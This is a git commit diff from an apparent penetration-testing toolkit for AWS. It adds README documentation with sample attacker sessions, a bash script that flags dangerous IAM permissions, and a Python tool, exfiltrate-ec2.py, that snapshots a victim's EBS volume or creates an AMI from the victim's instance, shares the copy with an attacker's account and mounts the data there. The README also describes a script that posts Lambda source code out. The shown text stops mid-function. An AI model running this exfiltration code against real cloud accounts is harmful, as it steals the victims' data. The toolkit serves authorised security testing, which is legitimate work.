Merge branch 'master' of github.com:mgeeky/Penetration-Testing-Tools

This commit is contained in:
mb 2020-01-18 18:16:02 +01:00
commit cd52536063
14 changed files with 2176 additions and 89 deletions

View File

@ -93,10 +93,233 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd
[*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
```
- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies or specified Policy by it's Arn, goes through all of granted permissions and lists those that are known for Privilege Escalation or other risks. If `all` was specified as a role-name, the tool will evaluate all of the user-specified IAM Roles, iteratively. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18)
```
attacker $ ./evaluate-iam-role.sh awl CustomSysOpsRole
[+] Working on specified Role: CustomSysOpsRole
[+] Role (CustomSysOpsRole) has following policies attached:
- arn:aws:iam::aws:policy/AmazonRDSFullAccess
- arn:aws:iam::aws:policy/AmazonEC2FullAccess
- arn:aws:iam::aws:policy/AWSLambdaFullAccess
- arn:aws:iam::aws:policy/AmazonS3FullAccess
- arn:aws:iam::aws:policy/ReadOnlyAccess
- arn:aws:iam::aws:policy/AmazonSSMFullAccess
- arn:aws:iam::aws:policy/AmazonMQFullAccess
- arn:aws:iam::aws:policy/AWSBackupAdminPolicy
[+] =============== Permissions granted ===============
a4b:Describe*
a4b:Get*
a4b:List*
a4b:Search*
acm:Describe*
acm:DescribeCertificate
acm:Get*
acm:List*
[...]
workdocs:Get*
worklink:Describe*
worklink:List*
workmail:Describe*
workmail:Get*
workmail:List*
workmail:Search*
workspaces:Describe*
xray:BatchGet*
xray:Get*
xray:PutTelemetryRecords
xray:PutTraceSegments
[-] =============== Detected POTENTIALLY dangerous permissions granted ===============
[...]
backup:*
backup-storage:*
clouddirectory:BatchRead
cloudformation:*
cloudformation:CreateStack
[...]
iot:CreateThing
iot:CreateTopicRule
sns:*
sqs:*
sqs:SendMessage
ssm:*
ssmmessages:CreateControlChannel
ssmmessages:CreateDataChannel
support:*
xray:BatchGet*
xray:PutTelemetryRecords
xray:PutTraceSegments
[!] =============== Detected DANGEROUS permissions granted ===============
cloudformation:CreateStack
iam:AttachRolePolicy
iam:PassRole
```
- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
IAM Permissions abused:
- `ec2:CreateSnapshot`
- `ec2:ModifySnapshotAttribute`
- `ec2:CreateImage`
```
attacker $ python3 ./exfiltrate-ec2.py --help
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE]
[--access-key ACCESS_KEY] [--secret-key SECRET_KEY]
[--token TOKEN] [--victim-profile VICTIM_PROFILE]
[--victim-access-key VICTIM_ACCESS_KEY]
[--victim-secret-key VICTIM_SECRET_KEY]
[--victim-token VICTIM_TOKEN] [-v]
{createimage,createsnapshot} ...
positional arguments:
{createimage,createsnapshot}
Available methods
createimage Creates a snapshot of a running or stopped EC2
instance in an AMI image form. This AMI image will
then be shared with another AWS account, constituing
exfiltration opportunity.
createsnapshot Creates a snapshot of an EBS volume used by an EC2
instance. This snapshot will then be shared with
another AWS account, constituing exfiltration
opportunity.
required arguments:
--region REGION AWS Region to use.
optional arguments:
-v, --verbose Display verbose output.
Attacker's AWS credentials - where to instantiate exfiltrated EC2:
--profile PROFILE Attacker's AWS Profile name to use if --access-key was
not specified
--access-key ACCESS_KEY
Attacker's AWS Access Key ID to use if --profile was
not specified
--secret-key SECRET_KEY
Attacker's AWS Secret Key ID
--token TOKEN (Optional) Attacker's AWS temporary session token
Victim AWS credentials - where to find EC2 to exfiltrate:
--victim-profile VICTIM_PROFILE
Victim's AWS Profile name to use if --access-key was
not specified
--victim-access-key VICTIM_ACCESS_KEY
Victim's AWS Access Key ID to use if --profile was not
specified
--victim-secret-key VICTIM_SECRET_KEY
Victim's AWS Secret Key ID
--victim-token VICTIM_TOKEN
(Optional) Victim's AWS temporary session token
attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
[.] Using attacker's profile: default
[.] Using victim's profile: victim-profile
[.] Using region: us-east-1
[.] Authenticating using Attacker's AWS credentials...
[.] Authenticating using Victim's AWS credentials...
[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...
[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX
[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ
[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000
[+] Snapshot's attributes modified to share it with user 71284700000
[>] Step 3: Waiting for the snapshot to transit into completed state.
[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account.
[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d
[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ)
[>] Step 5: Waiting for the volume to transit into created state.
[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance
[-] Attacker's machine is in running state, preventing to attach it a volume.
[.] Trying to stop the EC2 instance, then attach the volume and then restart it.
[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY
[.] Restarting it...
===============================================================
[MODULE FINISHED]
===============================================================
[+] Exfiltrated snapshot of a victim's EBS volume:
VictimVolumeId = vol-0f340890acfXXXXX
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
SnapshotId = snap-0d7a43f0ff34ZZZZ
If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now:
AttackerVolumeId = vol-04f36e35abeWWW
That was attached to the specified attacker's EC2 instance:
AttackerInstanceId = i-0b359b0fcbcYYYYY
AvailibityZone = us-east-1d
Most likely as a '/dev/xvdf' device.
===============================================================
To examine exfiltrated data:
0) SSH to the attacker's EC2 instance
# ssh ec2-user@18.206.230.190
1) List block devices mapped:
# lsblk
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
# mkdir /exfiltrated
3) Mount that device's volume:
# mount /dev/xvdf1 /exfiltrated
attacker $ ssh ec2-user@18.206.230.190
[...]
ec2-user@ec2instance:~$ sudo -s
root@ec2instance:/home/ec2-user# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 25G 0 disk
└─xvda1 202:1 0 25G 0 part
xvdf 202:80 0 25G 0 disk
└─xvdf1 202:81 0 25G 0 part /
root@ec2instance:/home/ec2-user# mkdir /exfiltrated
root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated
root@ec2instance:/home/ec2-user# ls -l /exfiltrated
total 84
-rw-r--r-- 1 root root 0 lip 31 2018 0
lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin
drwxr-xr-x 3 root root 4096 sie 17 2018 boot
drwxr-xr-x 4 root root 4096 sie 17 2018 dev
drwxr-xr-x 179 root root 12288 gru 4 16:37 etc
drwxr-xr-x 3 root root 4096 lis 4 16:18 home
[...]
```
- **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code.
- **`find-exposed-resources.sh`** - Utterly simple script enumerating some of the resources that could be publicly shared which would count as a security misconfiguration.
- **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds.
- **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies.
- **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons).

245
clouds/aws/evaluate-iam-role.sh Executable file
View File

@ -0,0 +1,245 @@
#!/bin/bash
#
# Evaluates specified AWS IAM Role or Policy given their name/Arn.
# Dumps all of the attached policies in case of Role and all of defined
# policy statements. Then goes through allowed permissions to pick all of them out.
# Finally, checks every allowed permission against a list of known troublesome ones.
#
# Mariusz B., mgeeky '19, <mb@binary-offensive.com>
# v0.1
#
if [ $# -lt 2 ] ; then
echo "Usage: evaluate-iam-role.sh [-v] <profile> <role-name|policy-arn>"
echo
echo -e "-v\t\t\tVerbose mode. Dumps full roles/policies contents."
echo -e "profile\t\t\tAWS credentials profile name."
echo -e "role-name|policy-name\tEither IAM Role name or Policy Arn to evaluate."
echo -e "\t\t\tIf 'all' was specified, will evaluate ALL used IAM Roles"
exit 1
fi
VERBOSE=0
if [[ "$1" == "-v" ]]; then
VERBOSE=1
shift
fi
PROFILE=$1
ROLE_NAME=$2
known_potentially_dangerous_permissions=(
".+:\*"
".*:Add.*"
".*:Attach.*"
".*:Batch.*"
".*:Change.*"
".*:Command.*"
".*:Create.*"
".*:Delete.*"
".*:Execute.*"
".*:Invoke.*"
".*:Modify.*"
".*:Put.*"
".*:Reboot.*"
".*:Register.*"
".*:Replace.*"
".*:Run.*"
".*:Send.*"
".*:Set.*"
".*:Start.*"
".*:Update.*"
)
known_dangerous_permissions=(
"\*:\*"
"cloudformation:CreateStack"
"datapipeline:CreatePipeline"
"datapipeline:PutPipelineDefinition"
"ec2:RunInstances"
"glue:CreateDevEndpoint"
"glue:UpdateDevEndpoint"
"iam:\*"
"iam:AddUserToGroup"
"iam:AttachGroupPolicy"
"iam:AttachRolePolicy"
"iam:AttachUserPolicy"
"iam:CreateAccessKey"
"iam:CreateLoginProfile"
"iam:CreatePolicyVersion"
"iam:PassRole"
"iam:PassRole"
"iam:PutGroupPolicy"
"iam:PutRolePolicy"
"iam:PutUserPolicy"
"iam:SetDefaultPolicyVersion"
"iam:UpdateAssumeRolePolicy"
"iam:UpdateLoginProfile"
"lambda:CreateEventSourceMapping"
"lambda:CreateFunction"
"lambda:InvokeFunction"
"lambda:UpdateFunctionCode"
"sts:AssumeRole"
)
known_dangerous_aws_managed_policies=(
"arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM"
"arn:aws:iam::aws:policy/service-role/AmazonMachineLearningRoleforRedshiftDataSource"
)
dangerous_permissions=()
potentially_dangerous_permissions=()
all_perms=()
used_bad_policies=()
function examine_policy() {
policy=$1
role_name=$2
out=$(aws --profile $PROFILE iam get-policy --policy-arn $policy)
version_id=$(echo "$out" | jq -r '.Policy.DefaultVersionId')
policy_name=$(echo "$out" | jq -r '.Policy.PolicyName')
policy_version=$(aws --profile $PROFILE iam get-policy-version --policy-arn $policy --version-id $version_id)
if [[ $VERBOSE == 1 ]]; then
echo -e "\n------------[ Policy Arn: $policy ]------------"
echo "$policy_version"
fi
permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow") | if .Action|type=="string" then [.Action] else .Action end | .[]'))
path=""
if [[ "$role_name" != "" ]]; then
path="$role_name.$policy_name."
else
path="$policy_name."
fi
if [[ "$ROLE_NAME" != "all" ]] ; then
path=""
fi
for bad_policy in "${known_dangerous_aws_managed_policies[@]}"; do
if echo "$policy" | grep -iq "$bad_policy" ; then
used_bad_policies+=("$path$bad_policy")
fi
done
for perm in "${permissions[@]}" ; do
permadd="$path$perm"
all_perms+=("$permadd")
for potdangperm in "${known_potentially_dangerous_permissions[@]}"; do
if [[ "$perm" == "iam:*" ]]; then continue ; fi
if echo "$perm" | grep -Piq "$potdangperm" ; then
potentially_dangerous_permissions+=("$permadd")
fi
done
for dangperm in "${known_dangerous_permissions[@]}"; do
if echo "$perm" | grep -iq "$dangperm" ; then
dangerous_permissions+=("$permadd")
fi
done
done
}
function examine_role() {
role_name=$1
role_policy=$(aws --profile $PROFILE iam get-role --role-name $role_name)
if [[ $VERBOSE == 1 ]]; then
echo -e "------------[ Role: $role_name ]------------"
echo "$role_policy"
fi
attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $role_name | jq -r '.AttachedPolicies[].PolicyArn'))
if [[ $VERBOSE == 1 ]]; then
echo
fi
echo "[+] Role ($role_name) has following policies attached:"
for policy in "${attached_role_policies[@]}" ; do
echo -e "\t- $policy"
done
if [[ $VERBOSE == 1 ]]; then
echo
fi
for policy in "${attached_role_policies[@]}" ; do
examine_policy $policy $role_name
done
}
#
#------------------------------------------------------------------
#
IFS=$'\n'
if [[ "$ROLE_NAME" == "all" ]]; then
echo "[+] Evaluating ALL used IAM Roles"
echo
out=($(aws --profile awl iam list-roles --query 'Roles[*].RoleName' --output text | tr '\t' '\n'))
for role in "${out[@]}"; do
examine_role $role
done
elif echo "$ROLE_NAME" | grep -q "arn:aws:iam:" && echo "$ROLE_NAME" | grep -q ":policy/" ; then
echo "[+] Working on specified Policy Arn: $ROLE_NAME"
echo
examine_policy $ROLE_NAME
else
echo "[+] Working on specified Role: $ROLE_NAME"
echo
examine_role $ROLE_NAME
fi
#------------------------------------------------------------------
if [[ ${#used_bad_policies[@]} -gt 0 ]]; then
echo -e "\n\n[-] =============== Found AWS Managed Insecure Policies in Use ==============="
echo
sorted=($(echo "${used_bad_policies[@]}" | tr ' ' '\n' | sort -u ))
for pol in "${sorted[@]}"; do
echo -e "\t$pol"
done
fi
if [[ ${#all_perms[@]} -gt 0 ]]; then
echo -e "\n\n[+] =============== Permissions granted ==============="
echo
sorted=($(echo "${all_perms[@]}" | tr ' ' '\n' | sort -u ))
for perm in "${sorted[@]}"; do
echo -e "\t$perm" | sed -r 's/\./ -> /g'
done
if [[ ${#potentially_dangerous_permissions[@]} -gt 0 ]]; then
echo -e "\n\n[-] =============== Detected POTENTIALLY dangerous permissions granted ==============="
echo
sorted=($(echo "${potentially_dangerous_permissions[@]}" | tr ' ' '\n' | sort -u ))
for dangperm in "${sorted[@]}"; do
echo -e "\t$dangperm" | sed -r 's/\./ -> /g'
done
fi
if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then
echo -e "\n\n[!] =============== Detected DANGEROUS permissions granted ==============="
echo
sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u ))
for dangperm in "${sorted[@]}"; do
echo -e "\t$dangperm" | sed -r 's/\./ -> /g'
done
fi
else
echo -e "\nNo permissions were found to be granted."
fi
echo

View File

@ -0,0 +1,568 @@
#!/usr/bin/python3
#
# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's
# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
#
# CreateSnapshot:
# Abuses:
# ec2:CreateSnapshot
# ec2:ModifySnapshotAttribute
#
# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will
# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to
# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot.
# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it
# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able
# to mount freshly attached volume in the operating system to further examine its contents.
#
# This technique is safe to be demonstrated during AWS Penetration tests.
#
#
# CreateImage:
# Abuses:
# ec2:CreateImage
# ec2:ModifyImageAttribute
#
# NOT FULLY IMPLEMENTED YET.
# For this technique, the procedure is following - the script will create an image out of specified victim's EC2
# instance. This image will become publicly available (caution with client sensitive data!). After that, the script
# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that
# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to
# further examine it's filesystem contents.
#
# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is
# not recommended to use it during legal AWS Penetration Tests
#
# Author: Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
#
import sys
import pyjq
import json
import time
import boto3
import argparse
from botocore.exceptions import ClientError
config = {
'verbose' : False,
'region' : '',
'victim' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'attacker' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'method' : '',
'volume-id': '',
'instance-id': '',
'attach-instance-id': '',
}
class Logger:
@staticmethod
def _out(x):
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[>] ' + x)
@staticmethod
def info(x):
if config['verbose']:
Logger._out('[.] ' + x)
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
class ExfiltrateEC2:
session = None
def __init__(self, region, attacker_keys, victim_keys):
self.region = region
self.keys = {
'attacker' : {},
'victim' : {},
}
self.keys['attacker'] = attacker_keys
self.keys['victim'] = victim_keys
self.session = {
'attacker' : None,
'victim' : None,
}
Logger.info(f"Using region: {region}")
Logger.info("Authenticating using Attacker's AWS credentials...")
self.session['attacker'] = self.authenticate(region, attacker_keys)
Logger.info("Authenticating using Victim's AWS credentials...")
self.session['victim'] = self.authenticate(region, victim_keys)
def authenticate(self, region, keys):
session = None
try:
if keys['profile']:
session = boto3.Session(
profile_name = keys['profile'],
region_name = region
)
else:
session = boto3.Session(
aws_access_key_id = keys['access-key'],
aws_secret_access_key = keys['secret-key'],
aws_session_token = keys['token'],
region_name = region
)
except Exception as e:
Logger.fail(f'Could not authenticate to AWS: {e}')
raise e
return session
def get_session(self, whose):
return self.session[whose]
def get_account_id(self, whose):
try:
return self.session[whose].client('sts').get_caller_identity()['Account']
except Exception as e:
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
def create_snapshot(self, attacker_instance_id, volume_id, availability_zone):
victim_client = self.session['victim'].client('ec2')
attacker_client = self.session['attacker'].client('ec2')
target_user = self.get_account_id('attacker')
snapshot = None
volume_created = None
modify_result = None
Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}")
try:
snapshot = victim_client.create_snapshot(
Description = f'Exfiltrated EBS snapshot of volume: {volume_id}',
VolumeId = volume_id
)
Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}")
Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}")
try:
modify_result = victim_client.modify_snapshot_attribute(
Attribute = f'createVolumePermission',
OperationType = 'add',
SnapshotId = snapshot['SnapshotId'],
UserIds = [
target_user,
]
)
Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}")
except Exception as e:
Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}")
Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.")
try:
victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.")
attacker_instance_data = None
try:
if not availability_zone:
availability_zone = self.region + 'a'
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
availability_zone = inst['Placement']['AvailabilityZone']
attacker_instance_data = inst
Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}")
break
except Exception as e:
Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}")
Logger.fail(f"Exception: {e}")
raise e
availability_zone = self.region + 'a'
try:
volume_created = attacker_client.create_volume(
AvailabilityZone = availability_zone,
Encrypted = False,
VolumeType = 'gp2',
SnapshotId = snapshot['SnapshotId']
)
Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})")
except Exception as e:
Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}")
Logger.out(f"Step 5: Waiting for the volume to transit into created state.")
try:
attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance")
try:
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
if 'IncorrectInstanceState' in str(e):
Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.")
Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.")
try:
attacker_instance = attacker_client.stop_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ])
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.")
Logger.fail(f"Exception: " + str(e))
Logger.info("Restarting it...")
attacker_instance = attacker_client.start_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ])
try:
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
attacker_instance_data = inst
break
except: pass
else:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
try:
Logger.out(f"Cleanup. Trying to remove created snapshot ({snapshot['SnapshotId']}) at Victim's estate...")
victim_client.delete_snapshot(SnapshotId = snapshot['SnapshotId'])
Logger.ok(f"Snapshot removed.")
except Exception as e:
Logger.fail(f"(That's ok) ec2:DeleteSnapshot action on Victim failed. Exception: {e}")
ssh_command = 'SSH to the attacker\'s EC2 instance\n'
if attacker_instance_data:
try:
ip = attacker_instance_data['PublicIpAddress']
except:
Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n")
ip = "ec2-ip-address"
if ip:
ssh_command = f'''SSH to the attacker's EC2 instance
# ssh ec2-user@{ip}
'''
print(f'''
===============================================================
[MODULE FINISHED]
===============================================================
[+] Exfiltrated snapshot of a victim's EBS volume:
VictimVolumeId = {volume_id}
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
SnapshotId = {snapshot['SnapshotId']}
If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now:
AttackerVolumeId = {volume_created['VolumeId']}
That was attached to the specified attacker's EC2 instance:
AttackerInstanceId = {attacker_instance_id}
AvailibityZone = {availability_zone}
Most likely as a '/dev/xvdf' device.
===============================================================
To examine exfiltrated data:
0) {ssh_command}
1) List block devices mapped:
# lsblk
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
# mkdir /exfiltrated
3) Mount that device's volume:
# mount /dev/xvdf1 /exfiltrated
4) Review it's contents:
# ls -l /exfiltrated
''')
return True
def create_image(self, instance_id, image_name, image_description):
victim_client = self.session['victim'].client('ec2')
attacker_client = self.session['attacker'].client('ec2')
created_image = None
try:
Logger.out("Step 1: Creating a publicly available AMI image out of specified EC2 instance.")
created_image = victim_client.create_image(
InstanceId = instance_id,
Name = image_name,
Description = image_description
)
Logger.ok(f"AMI Image with name: ({image_name}) created: {created_image['ImageId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}")
target_user = self.get_account_id('attacker')
Logger.out(f"Step 2: Modifying image attributes to share it with UserId = {target_user}")
try:
modify_result = victim_client.modify_image_attribute(
Attribute = 'launchPermission',
ImageId = created_image['ImageId'],
OperationType = 'add',
UserIds = [
target_user,
]
)
Logger.ok(f"Image's attributes modified to share it with user {target_user}")
except Exception as e:
Logger.fatal(f"ec2:ModifyImageAttribute action on Victim failed. Exception: {e}")
# Step 3: Import custom SSH RSA public key
# client.import_key_pair(
# KeyName = "Some key name"
# PublicKeyMaterial = "key material"
# )
# Step 4: Create an instance from exported AMI
# client.run_instances(
# ImageId = "ami-00000000",
# SecurityGroupIds = ["sg-00000", ],
# SubnetId = "subnet-aaaaaa",
# Count = 1,
# InstanceType = "t2.micro",
# KeyName = "Some key name",
# Query = "Instances[0].InstanceId",
# )
# Returns:
# "i-00001111002222"
# Step 5: Connect to that EC2 instance
# client.describe_instances(
# InstanceIds = ["i-00001111002222"],
# Query = "Reservations[0].Instances[0].PublicIpAddress"
# )
# Returns:
# "1.2.3.4"
#
# $ ssh ec2-user@1.2.3.4
# $ ls -l
print(f"""
===============================================================
[!] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET.
===============================================================
[.] You can proceed manually from this point:
1) Create an EC2 instance in region: {self.region}
2) Make sure this EC2 instance is being created out of public AMI image with ID:
Image ID: {created_image['ImageId']}
3) Setup SSH keys, Security Groups, etc.
4) SSH into that machine.
Created EC2 instance's filesystem will be filled with files coming from the exfiltrated EC2.
""")
def parseOptions(argv):
global config
print('''
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0])
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2')
victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate')
required.add_argument('--region', type=str, help = 'AWS Region to use.')
attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default')
attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified')
attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID')
attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token')
victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified')
victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified')
victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID')
victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token')
optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
subparsers = parser.add_subparsers(help='Available methods', dest='method')
a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\
' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.'
createimage = subparsers.add_parser('createimage', help = a)
createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.')
createimage.add_argument('--image-name', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a name for newly created AMI image. Default: "Exfiltrated AMI image"')
createimage.add_argument('--image-desc', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a description for newly created AMI image. Default: "Exfiltrated AMI image"')
b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\
' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.'
createsnapshot = subparsers.add_parser('createsnapshot', help = b)
createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.')
createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.')
createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['region'] = args.region
if args.method == 'createimage':
if args.instance_id != None:
config['instance-id'] = args.instance_id
else:
Logger.fatal('--instance-id parameter is required for this to work.')
if args.method == 'createsnapshot':
if args.volume_id != None and args.attach_instance_id != None:
config['volume-id'] = args.volume_id
config['attach-instance-id'] = args.attach_instance_id
config['availability-zone'] = args.availability_zone
else:
Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.')
if not args.region:
Logger.fatal("Please provide AWS region to operate in.")
if args.profile and (args.access_key or args.secret_key or args.token):
Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!")
if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token):
Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!")
if args.profile:
config['attacker']['profile'] = args.profile
Logger.info(f"Using attacker's profile: {args.profile}")
elif args.access_key and args.secret_key:
config['attacker']['access-key'] = args.access_key
config['attacker']['secret-key'] = args.secret_key
